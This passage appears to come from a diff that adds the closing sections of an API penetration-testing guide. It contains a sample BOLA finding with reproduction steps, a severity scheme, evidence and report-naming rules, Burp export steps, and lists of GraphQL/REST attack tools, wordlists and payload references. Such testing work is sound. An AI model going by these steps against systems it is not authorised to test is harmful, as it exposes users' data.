|
|
1452
|
+
"Login as User B and obtain JWT",
|
|
1453
|
+
"Send GET /api/v1/users/42 with User B's JWT",
|
|
1454
|
+
"Observe User A's data returned"
|
|
1455
|
+
],
|
|
1456
|
+
impact="Full account takeover, PII exposure, privilege escalation",
|
|
1457
|
+
remediation="Validate that the requested user ID matches the authenticated user ID server-side"
|
|
1458
|
+
)
|
|
1459
|
+
```
|
|
1460
|
+
|
|
1461
|
+
---
|
|
1462
|
+
|
|
1463
|
+
## 9. Output and Documentation Instructions
|
|
1464
|
+
|
|
1465
|
+
### Finding Classification
|
|
1466
|
+
|
|
1467
|
+
| Severity | Criteria |
|
|
1468
|
+
|---|---|
|
|
1469
|
+
| CRITICAL | Account takeover, auth bypass, admin access |
|
|
1470
|
+
| HIGH | Cross-user data access, mass assignment to admin |
|
|
1471
|
+
| MEDIUM | Information disclosure, rate limit bypass |
|
|
1472
|
+
| LOW | CORS without credentials, verbose errors |
|
|
1473
|
+
| INFO | Introspection enabled, schema exposure |
|
|
1474
|
+
|
|
1475
|
+
### Required Evidence Per Finding
|
|
1476
|
+
|
|
1477
|
+
1. Raw HTTP request (curl command or Burp request)
|
|
1478
|
+
2. Raw HTTP response (truncated to relevant portion)
|
|
1479
|
+
3. Screenshot (if GUI/Burp involved)
|
|
1480
|
+
4. Reproduction steps (copy-paste ready)
|
|
1481
|
+
5. Business impact statement (1–2 sentences, non-technical)
|
|
1482
|
+
|
|
1483
|
+
### Report Naming Convention
|
|
1484
|
+
|
|
1485
|
+
```
|
|
1486
|
+
API-{NUMBER}-{CATEGORY}-{SEVERITY}.json
|
|
1487
|
+
API-001-BOLA-CRITICAL.json
|
|
1488
|
+
API-002-MassAssignment-HIGH.json
|
|
1489
|
+
API-003-GraphQLIntrospection-MEDIUM.json
|
|
1490
|
+
API-004-BatchingRateLimitBypass-HIGH.json
|
|
1491
|
+
```
|
|
1492
|
+
|
|
1493
|
+
### Burp Suite Session Export
|
|
1494
|
+
|
|
1495
|
+
```
|
|
1496
|
+
1. Proxy > HTTP history > Filter by target
|
|
1497
|
+
2. Right-click relevant requests > Save items
|
|
1498
|
+
3. Export as XML: findings/burp-session-{target}-{date}.xml
|
|
1499
|
+
4. Annotate each request with finding ID in Burp comments
|
|
1500
|
+
```
|
|
1501
|
+
|
|
1502
|
+
---
|
|
1503
|
+
|
|
1504
|
+
## 10. Resources
|
|
1505
|
+
|
|
1506
|
+
### Tools
|
|
1507
|
+
|
|
1508
|
+
| Tool | URL | Purpose |
|
|
1509
|
+
|---|---|---|
|
|
1510
|
+
| graphw00f | https://github.com/dolevf/graphw00f | GraphQL fingerprinting |
|
|
1511
|
+
| clairvoyance | https://github.com/nikitastupin/clairvoyance | Schema recovery via field suggestions |
|
|
1512
|
+
| kiterunner | https://github.com/assetnote/kiterunner | API route discovery |
|
|
1513
|
+
| graphql-cop | https://github.com/dolevf/graphql-cop | GraphQL security audit |
|
|
1514
|
+
| graphql-voyager | https://github.com/graphql-kit/graphql-voyager | Schema visualization |
|
|
1515
|
+
| Altair GraphQL | https://altairgraphql.dev | GraphQL client with batching support |
|
|
1516
|
+
| nuclei | https://github.com/projectdiscovery/nuclei | Template-based API scanning |
|
|
1517
|
+
| ffuf | https://github.com/ffuf/ffuf | Web fuzzing framework |
|
|
1518
|
+
|
|
1519
|
+
### Wordlists
|
|
1520
|
+
|
|
1521
|
+
| Wordlist | URL | Use Case |
|
|
1522
|
+
|---|---|---|
|
|
1523
|
+
| SecLists API | https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api | REST endpoint discovery |
|
|
1524
|
+
| GraphQL wordlist | https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/graphql.txt | GraphQL field names |
|
|
1525
|
+
| Assetnote wordlists | https://wordlists.assetnote.io | API-specific wordlists per tech stack |
|
|
1526
|
+
|
|
1527
|
+
### References and Reading
|
|
1528
|
+
|
|
1529
|
+
| Resource | URL |
|
|
1530
|
+
|---|---|
|
|
1531
|
+
| OWASP API Security Top 10 (2023) | https://owasp.org/API-Security/editions/2023/en/0x00-header/ |
|
|
1532
|
+
| PortSwigger API Testing Guide | https://portswigger.net/web-security/api-testing |
|
|
1533
|
+
| HackTricks GraphQL | https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql |
|
|
1534
|
+
| GraphQL Security Research (Escape) | https://escape.tech/blog/ |
|
|
1535
|
+
| Nikita Stupin — Schema Recovery | https://nikitastupin.medium.com/graphql-introspection-alternative-82a9a796b30f |
|
|
1536
|
+
| PayloadsAllTheThings — GraphQL | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection |
|
|
1537
|
+
| PayloadsAllTheThings — IDOR | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Direct%20Object%20References/README.md |
|
|
1538
|
+
| Detectify — Mass Assignment | https://blog.detectify.com/ethical-hacking/mass-assignment-and-related-chained-vulnerabilities/ |
|
|
1539
|
+
| PortSwigger — CORS | https://portswigger.net/web-security/cors |
|
|
1540
|
+
| GraphQL DoS Research | https://github.com/nicholasess/graphql-dos |
|
|
1541
|
+
|
|
1542
|
+
### CVEs and Bug Bounty Reports
|
|
1543
|
+
|
|
1544
|
+
- HackerOne Reports tagged `graphql`: https://hackerone.com/hacktivity?querystring=graphql
|
|
1545
|
+
- HackerOne Reports tagged `bola`: https://hackerone.com/hacktivity?querystring=bola
|
|
1546
|
+
- HackerOne Reports tagged `mass-assignment`: https://hackerone.com/hacktivity?querystring=mass+assignment
|
|
1547
|
+
- Bugcrowd University — API Testing: https://www.bugcrowd.com/resources/levelup/introduction-to-testing-apis/
|